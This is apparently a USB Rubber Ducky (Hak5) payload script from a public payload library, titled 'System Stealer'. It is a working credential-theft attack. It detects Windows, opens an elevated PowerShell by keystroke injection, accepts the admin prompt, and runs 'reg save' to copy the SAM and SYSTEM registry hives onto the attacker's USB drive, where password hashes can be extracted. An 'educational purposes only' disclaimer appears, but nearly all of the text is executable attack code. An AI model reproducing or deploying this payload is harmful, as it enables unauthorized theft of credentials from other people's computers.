Path: blob/master/payloads/library/exfiltration/System-Stealer/payload.txt
2968 views
REM TITLE System Stealer1REM AUTHOR mavisinator300012REM DESCRIPTION Creates a file in the Duck called sam.save and system.save with encrypted system information in both3REM DISCLAIMER Neither I, nor Hak5, condone any unethical hacking practices, whether taken from this payload or otherwise!4REM DISCLAIMER This is for educational purposes ONLY5DELAY 10006ATTACKMODE HID STORAGE7EXTENSION PASSIVE_WINDOWS_DETECT8REM VERSION 1.19REM AUTHOR: Korben1011REM_BLOCK DOCUMENTATION12Windows fully passive OS Detection and passive Detect Ready13Includes its own passive detect ready.14Does not require additional extensions.1516USAGE:17Extension runs inline (here)18Place at beginning of payload (besides ATTACKMODE) to act as dynamic19boot delay20$_OS will be set to WINDOWS or NOT_WINDOWS21See end of payload for usage within payload22END_REM2324REM CONFIGURATION:25DEFINE #MAX_WAIT 15026DEFINE #CHECK_INTERVAL 2027DEFINE #WINDOWS_HOST_REQUEST_COUNT 228DEFINE #NOT_WINDOWS 72930$_OS = #NOT_WINDOWS3132VAR $MAX_TRIES = #MAX_WAIT33WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))34DELAY #CHECK_INTERVAL35$MAX_TRIES = ($MAX_TRIES - 1)36END_WHILE37IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN38$_OS = WINDOWS39END_IF4041REM_BLOCK EXAMPLE USAGE AFTER EXTENSION42IF ($_OS == WINDOWS) THEN43STRING HELLO WINDOWS!44ELSE45STRING HELLO WORLD!46END_IF47END_REM48END_EXTENSION49REM Change $DRIVELABEL to the storage label of your duck50DEFINE #DRIVELABEL DUCKY51IF ($_OS == WINDOWS) THEN52GUI r53DELAY 50054STRING powershell55DELAY 100056CTRL-SHIFT-ENTER57DELAY 75058LEFT59ENTER60DELAY 100061STRINGLN $DriveLetter = (Get-WmiObject -Query "SELECT * FROM Win32_LogicalDisk WHERE VolumeName='#DRIVELABEL'").DeviceID; Set-Variable -Name 'DriveLetter' -Value $DriveLetter -Scope Global; Write-Output $DriveLetter62DELAY 25063STRINGLN reg save HKLM\sam $DriveLetter/sam.save64WAIT_FOR_STORAGE_ACTIVITY65WAIT_FOR_STORAGE_INACTIVITY66STRINGLN reg save HKLM\system $DriveLetter/system.save67WAIT_FOR_STORAGE_ACTIVITY68WAIT_FOR_STORAGE_INACTIVITY69ALT F470ELSE71ATTACKMODE OFF72STOP_PAYLOAD73END_IF747576